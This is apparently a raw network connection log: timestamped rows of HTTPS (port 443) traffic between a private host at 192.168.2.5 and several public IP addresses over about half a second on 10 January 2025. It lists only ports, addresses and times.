Jan 10, 2025 12:04:36.061800003 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.061877012 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.061916113 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.061917067 CET	49879	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.061923027 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.061928034 CET	443	49879	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.062628984 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.062666893 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.062695026 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.062701941 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.062707901 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.062726021 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.063899994 CET	49880	443	192.168.2.5	104.18.41.124
Jan 10, 2025 12:04:36.063910007 CET	443	49880	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:36.071285009 CET	443	49878	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.071430922 CET	443	49878	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.071763992 CET	49878	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.072582006 CET	49878	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.072587013 CET	443	49878	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.076543093 CET	443	49877	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.076675892 CET	443	49877	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.076893091 CET	49877	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.077256918 CET	49877	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.077263117 CET	443	49877	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.082087040 CET	49890	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.082139015 CET	443	49890	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.082206964 CET	49890	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.082752943 CET	49890	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.082767010 CET	443	49890	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.085315943 CET	49891	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.085360050 CET	443	49891	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.085418940 CET	49891	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.085654974 CET	49892	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.085685968 CET	443	49892	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.085745096 CET	49892	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.085952044 CET	49891	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.085968018 CET	443	49891	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.086222887 CET	49892	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.086236000 CET	443	49892	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.088284016 CET	443	49882	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.088414907 CET	443	49882	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.088466883 CET	49882	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.089714050 CET	49882	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.089725018 CET	443	49882	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.090837955 CET	49893	443	192.168.2.5	104.18.41.124
Jan 10, 2025 12:04:36.090868950 CET	443	49893	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:36.090975046 CET	49893	443	192.168.2.5	104.18.41.124
Jan 10, 2025 12:04:36.091176033 CET	49893	443	192.168.2.5	104.18.41.124
Jan 10, 2025 12:04:36.091185093 CET	443	49893	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:36.097219944 CET	49894	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.097234964 CET	443	49894	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.097419024 CET	49894	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.098371029 CET	49894	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.098380089 CET	443	49894	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.106986046 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.106992006 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.125245094 CET	443	49881	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.125376940 CET	443	49881	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.125436068 CET	49881	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.125467062 CET	443	49881	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.125556946 CET	443	49881	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.125648022 CET	443	49881	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.125703096 CET	49881	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.125715017 CET	443	49881	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.125763893 CET	49881	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.125771046 CET	443	49881	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.125855923 CET	443	49881	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.126044035 CET	443	49881	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.126091003 CET	49881	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.126185894 CET	49881	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.126199961 CET	443	49881	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.150305033 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.150346994 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.150365114 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.150377035 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.150424004 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.150430918 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.150469065 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.150511026 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.150517941 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.151148081 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.151155949 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.151190996 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.151201010 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.151645899 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.151691914 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.151699066 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.151772976 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.151796103 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.151803017 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.151823997 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.151895046 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.151935101 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.151942968 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.152180910 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.152587891 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.152632952 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.152714014 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.152755022 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.153522968 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.153570890 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.153642893 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.153687954 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.153745890 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.153783083 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.154510021 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.154561043 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.154602051 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.154647112 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.230700016 CET	443	49886	104.16.109.254	192.168.2.5
Jan 10, 2025 12:04:36.231437922 CET	49886	443	192.168.2.5	104.16.109.254
Jan 10, 2025 12:04:36.231457949 CET	443	49886	104.16.109.254	192.168.2.5
Jan 10, 2025 12:04:36.235382080 CET	443	49886	104.16.109.254	192.168.2.5
Jan 10, 2025 12:04:36.235481977 CET	49886	443	192.168.2.5	104.16.109.254
Jan 10, 2025 12:04:36.235891104 CET	49886	443	192.168.2.5	104.16.109.254
Jan 10, 2025 12:04:36.236083031 CET	49886	443	192.168.2.5	104.16.109.254
Jan 10, 2025 12:04:36.236087084 CET	443	49886	104.16.109.254	192.168.2.5
Jan 10, 2025 12:04:36.240932941 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.240989923 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.240998983 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.241004944 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.241041899 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.241054058 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.241065025 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.241070032 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.241092920 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.241234064 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.241275072 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.241281986 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.241638899 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.241689920 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.241695881 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.241780996 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.241822004 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.241828918 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.242003918 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.242048979 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.242054939 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.242244005 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.242281914 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.242286921 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.242404938 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.243295908 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.243346930 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.243664026 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.243712902 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.243740082 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.243782997 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.243813038 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.243859053 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.244179010 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.244226933 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.244669914 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.244719028 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.244780064 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.244827032 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.244853973 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.244894981 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.244966030 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.244991064 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.245009899 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.245016098 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.245028019 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.245043993 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.245227098 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.245268106 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.245285034 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.245327950 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.245390892 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.245431900 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.245636940 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.245677948 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.245870113 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.245914936 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.246002913 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.246045113 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.246150017 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.246191025 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.277637959 CET	49886	443	192.168.2.5	104.16.109.254
Jan 10, 2025 12:04:36.277646065 CET	443	49886	104.16.109.254	192.168.2.5
Jan 10, 2025 12:04:36.285794973 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.285859108 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.324588060 CET	49886	443	192.168.2.5	104.16.109.254
Jan 10, 2025 12:04:36.331589937 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.331681967 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.331768990 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.331818104 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.332365990 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.332372904 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.332412004 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.332425117 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.332434893 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.332477093 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.332833052 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.332892895 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.333568096 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.333585024 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.333635092 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.333642960 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.333676100 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.334350109 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.334364891 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.334418058 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.334424973 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.334465981 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.337212086 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.337229967 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.337291002 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.337299109 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.337337971 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.337948084 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.337965012 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.338011026 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.338017941 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.338320971 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.338370085 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.338385105 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.338428974 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.338435888 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.338820934 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.377517939 CET	443	49887	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.383945942 CET	49887	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.383964062 CET	443	49887	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.385025978 CET	443	49887	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.385093927 CET	49887	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.385505915 CET	49887	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.385574102 CET	443	49887	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.385708094 CET	49887	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.385715961 CET	443	49887	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.391484976 CET	443	49886	104.16.109.254	192.168.2.5
Jan 10, 2025 12:04:36.391639948 CET	443	49886	104.16.109.254	192.168.2.5
Jan 10, 2025 12:04:36.393043995 CET	49886	443	192.168.2.5	104.16.109.254
Jan 10, 2025 12:04:36.393240929 CET	49886	443	192.168.2.5	104.16.109.254
Jan 10, 2025 12:04:36.393254042 CET	443	49886	104.16.109.254	192.168.2.5
Jan 10, 2025 12:04:36.428980112 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.429008961 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.429147959 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.429156065 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.429193020 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.429599047 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.429615974 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.429658890 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.429665089 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.429691076 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.429706097 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.429966927 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.429982901 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.430033922 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.430042028 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.430650949 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.430671930 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.430716038 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.430725098 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.430736065 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.430761099 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.431114912 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.431132078 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.431200981 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.431207895 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.431236029 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.431252003 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.431279898 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.431303024 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.431365967 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.431372881 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.432189941 CET	443	49888	104.17.173.91	192.168.2.5
Jan 10, 2025 12:04:36.432250023 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.432254076 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.432265997 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.432285070 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.432305098 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.432311058 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.432349920 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.432499886 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.432503939 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.432507992 CET	49888	443	192.168.2.5	104.17.173.91
Jan 10, 2025 12:04:36.432524920 CET	443	49888	104.17.173.91	192.168.2.5
Jan 10, 2025 12:04:36.432862997 CET	443	49888	104.17.173.91	192.168.2.5
Jan 10, 2025 12:04:36.432904005 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.432918072 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.432960987 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.432969093 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.432991982 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.433336973 CET	49888	443	192.168.2.5	104.17.173.91
Jan 10, 2025 12:04:36.433403015 CET	443	49888	104.17.173.91	192.168.2.5
Jan 10, 2025 12:04:36.433598995 CET	49888	443	192.168.2.5	104.17.173.91
Jan 10, 2025 12:04:36.433841944 CET	49887	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.451872110 CET	443	49889	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.452249050 CET	49889	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.452261925 CET	443	49889	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.455918074 CET	443	49889	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.456053972 CET	49889	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.456357002 CET	49889	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.456494093 CET	49889	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.456501007 CET	443	49889	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.456521988 CET	443	49889	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.475334883 CET	443	49888	104.17.173.91	192.168.2.5
Jan 10, 2025 12:04:36.480736971 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.496355057 CET	49889	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.496370077 CET	443	49889	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.513195992 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.513219118 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.513284922 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.513293982 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.513331890 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.514182091 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.514195919 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.514260054 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.514266968 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.514385939 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.514405966 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.514439106 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.514445066 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.514461040 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.514487028 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.514945984 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.514965057 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.515022993 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.515032053 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.515353918 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.516211033 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.516225100 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.516282082 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.516288996 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.516393900 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.516412973 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.516443968 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.516450882 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.516482115 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.516521931 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.516555071 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.516593933 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.516608000 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.516614914 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.516643047 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.516664028 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.516854048 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.516860008 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.516880989 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.529337883 CET	49900	443	192.168.2.5	142.250.186.100
